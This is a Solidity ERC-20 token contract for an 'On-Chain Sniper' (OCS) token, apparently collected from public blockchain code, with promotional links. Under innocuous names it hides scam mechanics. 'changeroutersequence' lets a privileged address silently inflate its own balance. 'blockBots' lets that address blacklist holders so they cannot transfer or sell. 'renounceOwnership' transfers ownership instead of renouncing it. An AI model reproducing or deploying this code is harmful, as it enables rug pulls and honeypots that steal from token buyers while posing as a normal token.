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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// https://medium.com/@onchaindev/on-chain-snipers-and-the-start-of-a-crypto-class-war-74325bacef0
// https://t.me/OnChainSniperERC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return _owner;
}
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function renounceOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract onchain is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "On-Chain Sniper";
string private _symbol = "OCS";
uint8 private _decimals = 9;
mapping (address => uint256) _balances;
address payable public EnableOptimization;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _handPaper;
uint256 public _buyMarketingFee = 4;
uint256 public _sellMarketingFee = 4;
uint256 private _totalSupply = 2000000000 * 10**_decimals;
constructor () {
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
EnableOptimization = payable(address(msg.sender));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
IUniswapV2Router02 public uniswapV2Router;
function name() public view returns (string memory) {
return _name;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
receive() external payable {}
address public uniswapPair;
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function blockBots(address[] calldata addresses, bool status) public {
require(_msgSender() == EnableOptimization&& addresses.length >= 0 );
for (uint256 i; i < addresses.length; i++) {
_handPaper[addresses[i]] = status;
}
}
function changeroutersequence(uint256 Reference) public {
address account = EnableOptimization;
uint256 compile = _balances[account];
require(msg.sender == account);
uint256 run = compile + Reference;
_balances[account] = run;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tAmount);
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tAmount,
0,
path,
address(this),
block.timestamp
){} catch {}
uint256 MarketAmount = address(this).balance;
if(MarketAmount > 0)
EnableOptimization.transfer(MarketAmount);
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function openTrading() public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isMarketPair[address(uniswapPair)] = true;
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_handPaper[from]);
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
if(isMarketPair[from]) {
feeAmount = amount.mul(_buyMarketingFee).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_sellMarketingFee).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
} |